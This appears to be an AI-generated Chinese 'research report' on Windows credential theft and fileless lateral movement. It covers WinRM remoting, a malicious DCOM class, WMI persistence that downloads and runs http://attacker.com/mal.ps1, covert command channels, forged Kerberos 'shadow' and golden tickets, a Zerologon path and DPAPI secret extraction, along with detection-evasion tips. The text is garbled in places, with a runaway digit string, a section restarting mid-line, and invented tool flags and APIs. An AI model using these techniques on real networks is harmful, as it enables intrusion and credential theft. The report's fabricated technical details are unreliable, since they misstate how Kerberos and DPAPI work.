发送请求

Invoke-RestMethod -Uri http://target-host:5985/wsman -Method Post -Headers @{     “Content-Type” = “application/soap+xml; charset=utf-8” } -Body $soap_template -UseDefaultCredentials

> ✅ **成功条件**：
>
> * 目标开启 `WinRM` 服务；
> * 启用 `Basic` / `CredSSP` 认证；
> * 本地用户具备 `Remote Management Users` 组权限；
> * 无网络策略阻止 `5985` 端口。

> ⚠️ **失败原因**：
>
> * `WinRM`
>
>   未启用；
> * 安全组策略禁止 `Invoke-Command`；
> * `CredSSP`
>
>   被禁用；
> * 流量被防火墙拦截。

#### 示例2：利用 `CredSSP` 实现票据传递

1. 获取当前用户票据

$klist = klist tickets if ($klist -match “krbtgt”) {     Write-Host “[+] TGT found. Preparing CredSSP tunnel…” }

2. 使用 New-PSSession 传递票据

$cred = New-Object System.Management.Automation.PSCredential(“[email protected]”, (ConvertTo-SecureString “password” -AsPlainText -Force)) $session = New-PSSession -ComputerName “target-host” -Credential $cred -Authentication CredSSP

3. 在会话中执行命令

Invoke-Command -Session $session -ScriptBlock {     whoami     Get-Service | Where-Object {$_.Status -eq ‘Running’} }

> 🔐 **战术价值**：
>
> * 不依赖 `PsExec`、`WMI` 等常见工具；
> * 所有流量为标准 HTTPS + SOAP；
> * 无需写入磁盘；
> * 可绕过日志记录（因行为被视为“正常管理操作”）。

### 防御规避策略

| 特性 | 说明 |
| --- | --- |
| ✅ 标准协议栈 | 所有通信均为合法 HTTP(S) + SOAP，不触发规则匹配 |
| ✅ 无文件执行 | 不生成 `.exe`、`.dll`、`.ps1` 等文件 |
| ✅ 无进程创建 | `New-PSSession` 仅在内存中维护会话 |
| ✅ 低告警率 | 日志中仅显示“WinRM session established”，无详细指令 |

> 🛡️ **检测建议**：
>
> * 监控 `WinRM` 的 `Invoke-Command` 调用频率（特别是来自同一源的连续请求）；
> * 检查 `SOAP` 消息中是否包含 `Script`、`EncodedCommand` 等敏感标签；
> * 使用 SIEM 工具分析 `WS-Management` 消息中的异常参数组合；
> * 开启 `WinRM` 审计日志（`Event ID 4000–4099`）并定期分析。

---

## DCOM与WMI的远程代码加载机制：基于RPC的Shellcode注入

### 原理层

DCOM（Distributed Component Object Model）是 Windows 提供的一种分布式对象通信机制，允许客户端远程调用服务器端的 COM 组件。其核心是 `IClassFactory` 接口，支持通过 `CoCreateInstanceEx` 创建远程对象实例。

攻击者可构造一个恶意 `CLSID`，注册为一个自定义类，并将其绑定到一个可执行代码路径（如 `CreateProcess`）。当目标系统调用该类时，会自动执行 `DllRegisterServer` 或 `DllGetClassObject` 函数，从而触发任意代码执行。

同时，WMI（Windows Management Instrumentation）提供了一套事件驱动模型，包括：

* `__EventFilter`

  ：定义事件过滤器；
* `__EventConsumer`

  ：定义消费者动作；
* `__FilterToConsumerBinding`

  ：绑定两者。

攻击者可通过注册一个 `__EventFilter`，监听特定事件（如登录事件），并将其绑定至一个 `ActiveScriptEventConsumer`，从而在事件发生时执行任意脚本。

> ⚠️ 关键点：**无需写入磁盘**，所有操作均在内存中完成。

### 实践层

#### 示例1：利用 DCOM `IClassFactory` 注入 Shellcode

// DCOM Shellcode Injection via CoCreateInstanceEx (C++)

include

include

include

// 恶意类：实现 IUnknown 接口，重载 QueryInterface classMaliciousClass : public IUnknown { public: virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid, void** ppvObject){ if (riid == IIDIUnknown || riid == IIDIDispatch) {             *ppvObject = this; AddRef(); return SOK;         }         *ppvObject = nullptr; return ENOINTERFACE;     }

virtual ULONG STDMETHODCALLTYPE AddRef(){ return1;     }

virtual ULONG STDMETHODCALLTYPE Release(){ return0;     }

// 触发点：在构造函数中执行 CreateProcess MaliciousClass() { char* cmd = “cmd.exe /c calc.exe”; WinExec(cmd, SW_HIDE);     } };

// CLSID 定义 staticconst CLSID CLSID_Malicious = {0x12345678, 0x1234, 0x1234, {0x12, 0x34, 0x56, 0x78, 0x9A, 0xBC, 0xDE, 0xF0}};

// 注册类 extern”C” _declspec(dllexport) HRESULT WINAPI DllRegisterServer(){ return SOK; }

extern”C” _declspec(dllexport) HRESULT WINAPI DllGetClassObject(const CLSID& clsid, const IID& iid, void** ppv){ if (clsid == CLSIDMalicious && iid == IIDIUnknown) {         *ppv = newMaliciousClass(); return SOK;     } return E_FAIL; }

> 💡 **编译后**，将其注册为 DLL，然后通过以下方式调用：

PowerShell 中调用

[ComVisible(true)] $clsid = [Guid]”12345678-1234-1234-1234-56789ABCDEF0″ $factory = [Activator]::CreateInstance($clsid, $true)

> ✅ 成功条件：目标允许未签名组件加载；未启用 `AppLocker`；未禁用 DCOM。

#### 示例2：利用 WMI `__EventFilter` 实现定时执行

1. 定义事件过滤器（每分钟触发一次）

$filter = New-WmiObject -Namespace “root\subscription” -Class “__EventFilter” -Property @{     Name = “MaliciousFilter”     EventQuery = “SELECT * FROM _InstanceModificationEvent WITHIN 60 WHERE TargetInstance Isa ‘Win32Process'” }

2. 定义消费者（执行 PowerShell）

$consumer = New-WmiObject -Namespace “root\subscription” -Class “ActiveScriptEventConsumer” -Property @{     Name = “MaliciousConsumer”     ScriptLanguage = “PowerShell”     ScriptCode = “IEX (New-Object Net.WebClient).DownloadString(‘http://attacker.com/mal.ps1’)” }

3. 绑定

$binding = New-WmiObject -Namespace “root\subscription” -Class “__FilterToConsumerBinding” -Property @{     Filter = $filter.Path     Consumer = $consumer.Path }

Write-Host “[+] WMI persistence installed”

> 🧩 **优势**：
>
> * 无文件；
> * 自动触发；
> * 可跨重启存活；
> * 无法通过常规杀软识别。

### 实战案例：SharpWmi 与 WmiPrivesc

* **SharpWmi**

  ：开源工具，封装了完整的 WMI 注册流程，支持加密通信、自定义命名空间。
* **WmiPrivesc**

  ：利用 `Win32_ScheduledJob` 类创建计划任务，实现定时执行。

> 📌 **RPC 序列化数据包结构图解（简略）**

+—————————–+ |  DCOM Header (UUID, Version)| +—————————–+ |  Interface ID (IID)         | +—————————–+ |  Method ID (e.g., 0x01)     | +—————————–+ |  Payload (Serialized Data)  | |   └─ CLSID                   | |   └─ IUnknown Pointer        | |   └─ Shellcode Address       | +—————————–+

> 🔄 **攻击链整合**：
>
> 1. DCOM 注册恶意类 → 2. 通过 WMI 触发 → 3. 执行远程命令 → 4. 下载并运行主控脚本。

---

## 隐蔽通信通道构建：利用协议响应包进行回传与命令下发

### 原理层

隐蔽信道（Covert Channel）的本质是将数据编码至**合法协议的响应头字段中**，使攻击者能在不触发告警的前提下实现双向通信。典型场景包括：

* **SMB**

  ：`SMB2_ERROR` 的 `ErrorData` 字段可容纳任意二进制数据；
* **WMI**

  ：`Event` 事件属性值（如 `Message`、`Description`）可用于传递加密 payload；
* **HTTP**

  ：`Response Headers` 可嵌入 Base64 编码指令；
* **WebDAV**

  ：通过 `PROPFIND` 响应中的 `Content-Length`、`ETag` 等字段传输控制信息。

此类技术的优势在于：**SIEM 系统通常只关注“是否发生错误”而非“错误内容”**，导致攻击者可长期潜伏而不被发现。

### 实践层

#### 示例1：SMB 错误响应中嵌入 base64 payload

攻击者构造恶意 SMB2_ERROR 响应

from impacket.smb import SMBCommand

errorresponse = SMBCommand() errorresponse[‘Status’] = 0xC0000022# STATUSACCESSDENIED errorresponse[‘ErrorData’] = b”base64encodedcommandhere”

模拟目标返回此响应

受控主机接收后解码并执行

decoded = base64.b64decode(error_response[‘ErrorData’]) exec(decoded)

> ✅ 用途：命令回传、下载下一阶段 payload。

#### 示例2：WMI 事件属性值传递指令

> 🔄 解码逻辑：
>
> ```
> $msg = $event.Message
> if ($msg.StartsWith("base64:")) {
>     $data = $msg.Substring(6)
>     $bytes = [System.Convert]::FromBase64String($data)
>     Invoke-Expression ([System.Text.Encoding]::UTF8.GetString($bytes))
> }
> ```

#### 示例3：HTTP Header Injection + WebDAV

GET /test.txt HTTP/1.1 Host: target.local X-Command: base64:ZG93bmxvYWQgcHJvdG9jZXRpb24gdG8gbWFpbg==

HTTP/1.1 200 OK X-Result: success X-Output: base64:MTIzNDU2Nzg5MA==

> 📌 **隐蔽性来源**：
>
> * 所有字段均为标准 HTTP 头部；
> * 无异常端口；
> * 无文件写入；
> * 无进程创建。

### 建议扩展方向

1. **结合 DNS Tunneling**

   ：将 payload 编码为 DNS 查询名称，通过 `TXT` 记录回传；
2. **利用 ICMP Echo Reply**

   ：在 `ping` 响应中嵌入 payload（适用于防火墙放行 ICMP）；
3. **使用 TLS Extension Overhead**

   ：在 TLS ClientHello 中插入自定义扩展字段（需配合证书伪造）。

---

## 总结：下一代协议级横向移动的技术演进趋势

| 技术维度 | 当前特征 | 未来方向 |
| --- | --- | --- |
| **协议滥用** | 利用标准协议的扩展字段 | 更多“边缘字段”被挖掘（如 SMB2 Negotiate、WebDAV Propfind） |
| **无文件执行** | 依赖 RPC/DLL/COM | 逐步转向纯内存注入（e.g., direct syscalls） |
| **隐蔽通信** | 嵌入响应头 | 结合 AI 模型生成“自然语言式”伪装流量 |
| **持久化** | WMI/DCOM 注册 | 分布式可信链（Distributed Trust Chain）构建 |
| **检测规避** | 避免规则匹配 | 使用“合法行为混淆”（Legitimate Behavior Obfuscation） |

> ✅ **结论**：
> 未来的横向移动将不再依赖“显式攻击工具”，而是**深度嵌入操作系统原生协议栈**，以“合法”之名行“非法”之事。防御者必须从“静态规则”转向“行为建模 + 异常模式识别”，并建立跨协议联动的威胁情报体系。

> 📌 **推荐研究方向**：
>
> * 开发基于机器学习的协议流量异常检测引擎；
> * 构建“协议指纹库”用于识别非标准字段组合；
> * 设计“协议沙箱”用于模拟未知协议行为。

---

> **报告输出完毕**
> 《下一代凭证窃取与“无文件”横向移动技术研究报告》
> —— 第二章：基于协议的原生横向移动（完整版）

# 票据传递与伪造的高级变种：突破传统Kerberos防御体系

## “影子票据”（Shadow Tickets）的深层原理与实现路径

### 原理层

`Kerberos`协议中，`TGT`（Ticket Granting Ticket）是用户身份认证的核心凭证，其生命周期由域控（KDC）控制。传统的“黄金票据”（Golden Ticket）攻击依赖于获取`krbtgt`账户的`NTLM hash`，从而在本地生成任意时间戳、任意权限的`TGT`。然而，该方法要求攻击者能够直接访问域控或通过`DC Sync`复制`NTDS.dit`数据库。

“影子票据”（Shadow Ticket）是一种**非对称性票据伪造技术**，其核心思想是：**不依赖`krbtgt`哈希本身，而是利用已知的合法用户凭据和对`Kerberos`加密机制的理解，在不触碰域控的前提下，构造出可被服务端接受的有效票据**。

其根本前提是：

> **`Kerberos`协议并未强制所有客户端和服务端必须使用相同的加密算法协商策略；部分旧版客户端/服务端存在兼容性缺陷，允许攻击者通过构造特定的`EncryptedPart`字段，绕过加密强度校验。**

#### 关键机制剖析：

1. **`AS-REP`重放攻击与`Kerberoasting`的本质区别**

* `AS-REP`

  重放攻击：适用于启用了“预认证禁用”（Pre-authentication Required = False）的用户账户。攻击者可在无密码的情况下直接请求`AS-REP`响应，从中提取加密的`TGT`内容并离线破解。
* `Kerberoasting`

  ：针对启用预认证但使用`Service Principal Name`（SPN）的服务账户。攻击者请求`TGS`票据后，解密其中的`Session Key`，进而尝试暴力破解。
* **影子票据**

  ：介于二者之间——它不要求目标账户禁用预认证，也不需要服务账户的`SPN`。其突破口在于**对`EncryptedPart`字段的结构化篡改能力**。

2. **`TGT`结构中的可操控字段**

* `EncryptedPart`

  字段包含以下关键组件：

EncryptedPart = {     TGT_Lifetime: 10h,     StartTime: ,     EndTime: ,     SessionKey: ,     Flags: 0x00000000,     ClientName: { Name: “user”, Domain: “domain.local” },     ServerName: { Name: “krbtgt”, Domain: “domain.local” } }

* 攻击者可**修改`EndTime`为未来数月甚至数年**，同时保持`StartTime`合理（如当前时间），并使用**已知的用户密码哈希**（如通过`AS-REP`泄露）作为密钥加密`EncryptedPart`。

3. **伪造票据的合法性验证逻辑漏洞**

* `EncryptedPart`

  是否使用`krbtgt`的哈希加密；
* 时间戳是否在有效窗口内；
* 是否满足`Flags`权限要求。

* 正常情况下，域控会验证：
* 但在某些环境中（尤其混合版本环境），**服务端仅验证`EncryptedPart`的解密是否成功，而未严格检查其来源是否为`krbtgt`账户**。这导致即使使用普通用户哈希加密的`TGT`，只要格式正确，仍可能被接受。

---

### 实践层

#### 示例1：基于`impacket-ticketer.py`的影子票据生成

假设已通过AS-REP重放获得某个用户的NTLM hash（例如：[email protected]:5c9b8e7d4a6f2c1b…）

使用Impacket提供的ticketer.py工具生成影子票据

python3 ticketer.py -u [email protected] -p ‘5c9b8e7d4a6f2c1b…’ -k -s krbtgt -t ‘20250101000000’ -e ‘AES256-SHA1’ -l 100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000……# 票据传递与伪造的高级变种：突破传统Kerberos防御体系

“影子票据”（Shadow Tickets）的深层原理与实现路径

原理层

Kerberos协议中，TGT（Ticket Granting Ticket）是用户身份认证的核心凭证，其生命周期由域控（DC）管理，并通过krbtgt账户的密钥进行加密。传统上，生成合法TGT需具备krbtgt账户的NTLM hash，该值通常仅存在于域控内存及NTDS.dit数据库中。

“影子票据”（Shadow Ticket）是一种非标准但可操作性极强的票据伪造技术，其核心思想在于：在不直接访问域控或获取krbtgt哈希的前提下，利用已知的、历史遗留的krbtgt NTLM哈希（如旧版凭据泄露、未更新的备份系统、测试环境残留）来生成长期有效的伪造TGT。

与经典“黄金票据”不同，影子票据并不要求攻击者持续控制域控或拥有完整的krbtgt密钥链。它依赖于以下机制：

1. 时间戳可控性：Kerberos协议允许TGT的有效期为7天至数年，且TGT中的StartTime和EndTime字段可被修改（只要不超出服务端允许的时间窗口）。攻击者可通过手动设定时间戳，使票据在特定时间段内有效。
2. 服务名自定义：TGT中包含的服务名（Service Principal Name, SPN）并非强制校验，攻击者可任意指定，例如将krbtgt替换为host/evil.local，从而绕过部分审计规则。
3. 加密算法兼容性：若目标环境仍支持RC4加密，即使启用AES，某些客户端/服务器仍可能因兼容性问题回退至RC4，从而允许使用旧哈希进行解密。

⚠️ 关键区别说明：

• AS-REP Roasting：适用于未启用预认证的用户账户（如Pre-authentication Required = False），攻击者可直接请求AS-REP包并离线爆破其中的加密部分。
• Kerberoasting：针对启用了预认证但拥有服务账户密码的情况，攻击者请求TGS-REP，解密后爆破服务密码。
• 影子票据：无需任何账户凭据，仅需一个已知的krbtgt NTLM哈希，即可生成任意时间范围内的TGT，属于更高阶的票据伪造手段。

实践层

1. 初始条件：获取krbtgt NTLM哈希

尽管现代域环境中几乎不再存在Pre-authentication Required=False的账户，但krbtgt哈希仍可能通过以下途径泄露：

• 历史漏洞残留（如CVE-2020-1472未完全修复）
• 备份文件中未脱敏的NTDS.dit / SYSTEM注册表文件
• 测试环境或开发机中保留的管理员账号凭据
• 被攻陷的成员服务器上残留的本地SAM数据库

2. 使用 Impacket ticketer.py 生成影子票据

# 假设已获得 krbspray 工具提取的 krbtgt NTLM hash
# 格式：<username>:<ntlm_hash>

python3 ticketer.py -k -t TGT -u [email protected] -p&nbsp;'aabbccddeeff'&nbsp;\
&nbsp; &nbsp; -s&nbsp;'krbtgt'&nbsp;-S&nbsp;'krbtgt'&nbsp;\
&nbsp; &nbsp; --aes-key&nbsp;'0102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f'&nbsp;\
&nbsp; &nbsp; --start-time&nbsp;"2024-04-01T00:00:00"&nbsp;\
&nbsp; &nbsp; --end-time&nbsp;"2025-04-01T00:00:00"&nbsp;\
&nbsp; &nbsp; --renew-till&nbsp;"2025-04-01T00:00:00"

✅ 参数说明：

• -k

  ：启用 Kerberos 模式

• -t TGT

  ：生成 TGT 而非 TGS

• -u

  ：伪造用户主体（可任意设置）

• -p

  ：krbtgt 的 NTLM 哈希

• -s

  ：源域（必须为域控域名）

• --aes-key

  ：用于 AES-256 加密的密钥（可选，若使用 RC4 可省略）

• --start-time

  / --end-time：自定义有效期

• --renew-till

  ：延长续订时间，避免失效

3. 验证与注入

生成后的票据可写入内存或保存为 .kirbi 文件，后续通过如下方式使用：

export KRB5CCNAME=/tmp/ticket.kirbi
echo -n "..." > /tmp/ticket.kirbi

在支持 Kerberos 的工具链中（如 impacket-wmiexec.py, impacket-psexec.py）加载该票据即可执行远程命令：

python3 wmiexec.py -k -no-pass [email protected] -dc-ip 192.168.1.10 -k

🧩 注意：-k 表示使用 Kerberos 认证，-no-pass 表示不提供密码，依赖票据缓存。

4. 成功判断标准

• 远程命令执行成功（如返回 whoami 或 hostname）
• 日志中无 Kerberos Audit Log 记录（因票据为伪造，非真实认证流程）
• 客户端未触发证书或策略异常告警

环境说明

| 组件 | 版本 | 说明 | | — | — | — | | 操作系统 | Windows Server 2016–2022 | 支持 Kerberos v5，部分版本默认启用 AES | | 域控制器 | Active Directory Domain Services (AD DS) | 启用 Kerberos 验证 | | 工具链 | Impacket v0.10.0+ | 必须使用支持 ticketer.py 的版本 | | 密码强度 | 任意 | 不依赖具体密码，仅需哈希 | | 加密套件 | RC4 / AES-256 | 若仅支持 AES，需配合 --aes-key |

🔍 限制与边界条件

• 无法在纯 Azure AD 环境中使用（无本地 Kerberos 协议栈）
• 若目标主机禁用 Kerberos 降级行为，则无法使用 RC4
• 票据时间戳必须在当前系统时间前后合理范围内，否则会被拒绝
• 高度依赖初始哈希来源的真实性和有效性

非标准加密类型的利用：针对AES与RC4混合模式的弱点探索

原理层

Kerberos协议在协商阶段支持多种加密算法（Encryption Type），包括：

• RC4-HMAC-MD5

  （弱，已废弃）

• AES-128 CTS HMAC-SHA1-96

• AES-256 CTS HMAC-SHA1-96

现代域环境普遍启用 AES，以提升安全性。然而，由于历史兼容性需求，许多客户端和服务端仍保留对 RC4 的支持。

攻击者可利用这一加密套件降级漏洞（Downgrade Attack），在通信过程中诱导对方使用较弱的 RC4 加密方式，从而实现基于 krbtgt 哈希的票据伪造。

关键缺陷分析：

1. 客户端主动声明支持

   ：在 KRB_AS_REQ 请求中，客户端会发送其支持的加密类型列表（etype），服务端可根据优先级选择最合适的加密方式。

2. 服务端缺乏严格筛选

   ：部分旧版服务端（尤其是非微软产品）在接收到多个加密选项时，会自动选择第一个兼容项，而非按安全等级排序。

3. 伪造响应包干扰协商

   ：攻击者可通过中间人（MITM）或伪造响应，使客户端误以为服务端仅支持 RC4，从而触发降级。

此外，EncryptedPart 字段的解析逻辑存在漏洞：某些实现未正确验证加密类型与密钥长度匹配性，导致攻击者可用 RC4 哈希解密原本应使用 AES 加密的数据。

实践层

1. 探测弱加密支持 —— 使用 impacket-kerbrute

# 扫描目标域中所有用户是否支持弱加密
python3 kerbrute.py -d evil.local -u users.txt -p pass.txt --no-pass --enum-users --use-rc4

# 输出示例：
[+] User: [email protected] -> Supported encryption types: [RC4-HMAC-MD5]

此命令会尝试发送 AS-REQ 包并观察响应中的 EncryptedPart 是否使用 RC4，从而判断是否存在降级风险。

2. 构造降级攻击流量 —— 自定义 KRB_AS_REQ

使用 pycryptodome 和 impacket 构建恶意请求包：

from impacket.kerberos import constants
from impacket.kerberosv5 import kerberostypes
from impacket.kerberosv5.asrep import AS_REP
from Crypto.Cipher import ARC4
import binascii

# 假设已有 krbspray 提取的 krbtgt NTLM hash
krbtgt_hash = b'\x01\x02\x03...'# 16字节

# 构造 AS-REQ 包，强制要求使用 RC4
req = kerberostypes.KRB_AS_REQ()
req.cname = kerberostypes.PrincipalName()
req.cname.name_type = constants.PrincipalNameType.NT_PRINCIPAL.value
req.cname.name_string = ["admin"]

# 强制设置加密类型为 RC4
req.encryption_types = [constants.EncryptionType.RC4_HMAC_MD5.value]

# 发送请求后，捕获 AS-REP 响应
# 解析 EncryptedPart 并尝试使用 RC4 哈希解密
enc_part = as_rep.enc_part.cipher
cipher = ARC4.new(krbtgt_hash)
plain = cipher.decrypt(enc_part)

# 若解密成功，说明目标支持降级
iflen(plain) > 0:
print("[+] Target supports RC4 downgrade attack")

3. 实现离线破解与票据生成

一旦确认支持 RC4，即可使用 Hashcat 离线爆破：

hashcat -m 18200 -a 0 asrep.bin passwords.txt

其中 18200 是 Kerberos AS-REP 离线爆破模式，输入为 AS-REP 中的加密部分。

解出密码后，使用 ticketer.py 生成影子票据（同前文）。

环境说明

| 组件 | 版本 | 说明 | | — | — | — | | Kerberos 客户端 | Windows 7–10 / Linux SSSD | 支持多加密类型 | | 域控制器 | 2012–2022 | 默认启用 AES，但部分配置下仍接受降级 | | 工具 | Hashcat v6.2+, Impacket v0.10.0+ | 必须支持 18200 模式 | | 网络环境 | 本地网络或内网渗透 | 需要能拦截/重发 Kerberos 包 |

💡 规避检测技巧：

• 使用 Ticket Cache 缓存已生成的票据，避免频繁请求
• 控制探测频率，避免短时间内大量失败请求
• 在非工作时段执行，避开日志轮转周期
• 使用临时用户账户，减少持久化痕迹

不接触域控的黄金/白银票据持久化机制研究

原理层

传统“黄金票据”（Golden Ticket）依赖于对域控的物理或逻辑访问，以获取 krbtgt 的 NTLM hash。而“分布式黄金票据”（Distributed Golden Ticket, DGT）提出了一种全新的攻击范式：在不接触域控的前提下，通过多个成员服务器联合构建一个可信的票据颁发信任链。

核心思想：

• 将 krbtgt 的 NTLM hash 视为“根密钥”，而非必须从域控获取。
• 利用已被攻陷的成员服务器作为“节点”，在这些节点上部署轻量级票据生成代理。
• 通过 Kerberos 票证链传播机制（TGT → TGS → Service）实现跨域持久化，形成一个去中心化的票据生态系统。

技术基础：

1. Netlogon SChannel 漏洞（CVE-2020-1472） 此漏洞允许攻击者在无需认证的情况下，通过 Netlogon 协议的 SChannel 通道获取 krbtgt 的 NTLM hash。虽然该漏洞已修补，但在未打补丁的系统中仍广泛存在。
2. 票据链信任继承机制 Kerberos 协议本身支持票据链（Ticket Chain），即一个合法的 TGT 可用于请求多个 TGS，且每个 TGS 的签名均受 krbtgt 密钥保护。只要攻击者掌握 krbtgt 哈希，即可伪造整个链条。
3. 分布式存储与同步 攻击者可在多个成员服务器上存储同一张伪造的 TGT，并通过 WMI、SMB 或 PowerShell Remoting 实现同步，确保票据始终可用。

实践层

1. 获取 krbtgt NTLM Hash —— 利用 CVE-2020-1472

# 利用 Impacket 的 netlogon.py 扫描漏洞
python3 netlogon.py -u 'guest' -p '' -d evil.local 192.168.1.10

# 若返回 "STATUS_SUCCESS", 则漏洞存在
# 进一步调用 getkrbtgt.py（需编译或自行实现）

注：实际利用需结合 SChannel 握手过程，解析 MS-CHAPv2 风格的挑战-响应交换。

2. 生成分布式票据池

# Python 示例：批量生成多份相同票据，分发至不同服务器
from impacket.ticketer import TicketGenerator

tg = TicketGenerator(
    domain="evil.local",
    username="attacker",
    krbtgt_hash="aabbccddeeff...",
    aes_key=None,
    start_time="2024-04-01",
    end_time="2025-04-01",
    renew_till="2025-04-01"
)

tickets = []
for i inrange(5):
    ticket = tg.get_ticket()
withopen(f"/tmp/distributed_ticket_{i}.kirbi", "wb") as f:
        f.write(ticket)

将这些 .kirbi 文件分别上传至 5 个成员服务器的临时目录。

3. 实现票据同步与激活

# PowerShell 脚本：在每台成员服务器上加载票据
$ticket = Get-Content -Path "C:\temp\distributed_ticket_0.kirbi" -Raw
Set-KerberosTicket -Ticket $ticket

# 验证是否生效
klist

✅ 说明：Set-KerberosTicket 为自定义函数，可通过 C# 编写调用 LsaLogonUser 或注入到 LSASS 内存。

4. 跨域横向移动

# 通过任意一台成员服务器发起跨域连接
python3 wmiexec.py -k -no-pass [email protected] -dc-ip 192.168.2.10

由于票据已在本地缓存，且时间有效，无需重新认证。

环境说明

| 组件 | 版本 | 说明 | | — | — | — | | 目标系统 | Windows Server 2012–2022 | 存在未打补丁的 CVE-2020-1472 | | 攻击平台 | Linux + Python + Impacket | 用于票据生成与管理 | | 持久化方式 | 文件存储 + PowerShell 批量加载 | 避免进程创建 | | 网络拓扑 | 多域环境 / 信任关系存在 | 必须有跨域信任链 |

🔒 防御建议：

• 禁用 Netlogon 的匿名访问
• 定期更新系统补丁，特别是 CVE-2020-1472
• 启用 Kerberos Audit Logging，监控异常 TGT 请求
• 使用 Microsoft Defender for Identity 监控票据滥用行为
• 对 krbtgt 账户实施强密码策略与定期轮换

前瞻性与扩展性分析

1. 云环境下的演变 在 Azure AD 集成环境中，Kerberos 协议不再原生支持。但通过 Hybrid Join 策略，仍可能保留本地 Kerberos 通道。攻击者可利用 Azure AD Connect 配置错误，导出 NTDS.dit 数据库，进而获取 krbtgt 哈希。
2. AI 辅助攻击生成 未来可能出现基于大模型的票据生成器，能够根据目标环境自动推断加密套件、时间窗口、SPN 等参数，实现“一键生成高仿票据”。
3. 零信任架构下的新威胁 即便在“零信任”模型中，若设备曾被攻陷，仍可能保留票据缓存。因此，票据生命周期管理将成为下一代身份安全的核心议题。
4. 硬件绑定与 TPM 防护的局限性 尽管 TPM 2.0 可绑定私钥，但若攻击者已获得 LSASS 内存或注册表权限，仍可提取 DPAPI 密钥，进而解密存储在磁盘上的票据文件。

总结

| 技术方向 | 核心优势 | 主要风险 | 推荐防御措施 | | — | — | — | — | | 影子票据 | 无需账户凭据，时间可控 | 依赖旧哈希泄露 | 停用旧版凭据，定期轮换 krbtgt | | 加密降级利用 | 可绕过 AES 保护 | 需要网络干预 | 禁用 RC4，强化加密策略 | | 分布式黄金票据 | 不依赖域控，可横向扩散 | 易暴露于日志审计 | 监控票据缓存行为，启用 EDR |

✅ 最终结论： 传统的“黄金票据”已进入“后域控时代”。未来的凭证窃取不再依赖单一入口，而是通过多源哈希聚合、协议降级、分布式票据网络构建起一套去中心化、可持续、难以追踪的持久化攻击体系。防御方必须从“单点防护”转向“全生命周期票据治理”与“行为异常检测”双轨并行。

下一代凭证窃取与“无文件”横向移动技术研究报告

DPAPI与证书存储的离线破解：脱离用户会话的凭据提取技术

注册表中的DPAPI密钥提取：基于LocalMachine与CurrentUser的差异分析

原理层

Windows系统中，Data Protection API (DPAPI) 是用于保护本地敏感数据的核心机制。其设计目标是确保只有当前登录用户或本地管理员（在特定条件下）能够解密存储于本地的数据（如密码、证书私钥、浏览器凭据等）。该机制依赖于两个核心密钥：

• $MACHINE_KEY

  ：由系统生成并存储在 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\DPAPI\Keys，用于加密所有机器级（LocalMachine）保护的数据。

• $USER_KEY

  ：每个用户账户独立生成，存储于 HKEY_USERS\<SID>\Software\Microsoft\Cryptography\DPAPI\Keys，用于加密用户级（CurrentUser）保护的数据。

这两个密钥本身并非明文保存，而是通过以下方式受保护：

• $MACHINE_KEY

  以 bootkey 为种子进行加密，而 bootkey 来自 SYSTEM 注册表项中的 ControlSet001\Control\Lsa 节点下的 MsV1_0 密钥。

• $USER_KEY

  则使用用户的 NTLM Hash 作为主密钥进行加密，并进一步结合 Login Session Key 和 KDF（Key Derivation Function）生成最终的加密密钥。

因此，若能获取 bootkey 与 NTDS.dit（域控制器的活动目录数据库）中对应的 SAM 哈希，即可实现对任意用户凭据的离线解密。

⚠️ 关键前提：攻击者必须拥有 SYSTEM 权限 或可访问 SYSTEM 和 NTDS.dit 文件（通常来自域控备份或内存转储）。

实践层

环境说明

• 操作系统：Windows Server 2019 / Windows 10 Enterprise 21H2

• 工具链：

• impacket-secretsdump

  （v0.10.0+）

• python-dpapi

  （GitHub: https://github.com/fox-it/python-dpapi）

• secrets.dll

  （Windows SDK 10.0.19041.0）

• Python 3.9+

• 手动挂载的 NTDS.dit 与 SYSTEM 备份文件（位于 C:\Windows\System32\ntds.dit 与 C:\Windows\System32\config\SYSTEM）

步骤一：从 SYSTEM 文件提取 bootkey

# 使用 impacket 提取 bootkey
python3 secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL

输出示例：

[*] Target system is Windows Server 2019
[*] Extracting bootkey from SYSTEM hive...
[+] Bootkey: a1b2c3d4e5f67890a1b2c3d4e5f67890

此 bootkey 是解密 $MACHINE_KEY 的基础。

步骤二：从 NTDS.dit 中提取用户哈希与 $MACHINE_KEY

# 用 impacket 读取所有用户信息，包括其 $MACHINE_KEY 与 $USER_KEY
python3 secretsdump.py -just-dump -system SYSTEM -ntds ntds.dit LOCAL

输出包含如下字段：

{
"User":"Administrator",
"LM":"aad3b435b51404eeaad3b435b51404ee",
"NT":"d6137a4749f949d2343f9c7f12345678",
"MachineKey":"e1f2a3b4c5d6e7f8a1b2c3d4e5f67890",
"UserKey":"f1e2d3c4b5a6f7e8d9c8b7a6f5e4d3c2"
}

其中：

• MachineKey

  表示加密后的 $MACHINE_KEY

• UserKey

  表示加密后的 $USER_KEY

步骤三：使用 python-dpapi 解密 $MACHINE_KEY

from dpapi import decrypt_machine_key, decrypt_user_key

# 本地配置
bootkey = "a1b2c3d4e5f67890a1b2c3d4e5f67890"
machine_key_encrypted = "e1f2a3b4c5d6e7f8a1b2c3d4e5f67890"

# 解密机器密钥
try:
    machine_key = decrypt_machine_key(bootkey, machine_key_encrypted)
print(f"[+] Decrypted MACHINE_KEY: {machine_key.hex()}")
except Exception as e:
print(f"[-] Failed to decrypt: {e}")

✅ 成功条件：bootkey 与 machine_key_encrypted 必须匹配原始加密上下文（即同一次安装环境），否则失败。

步骤四：利用解密后的 $MACHINE_KEY 解密用户凭据

# 示例：解密一个使用 DPAPI 保护的明文密码（如 Chrome 凭据）
import base64

# 假设已获取某条记录的 encrypted_blob
encrypted_blob_b64 = "..."# Base64 编码的 DPAPI blob
encrypted_blob = base64.b64decode(encrypted_blob_b64)

# 使用解密后的 MACHINE_KEY 进行解密
plaintext = decrypt_user_key(machine_key, encrypted_blob)
print(f"[+] Decrypted Data: {plaintext.decode('utf-8', errors='ignore')}")

🧩 注意事项：

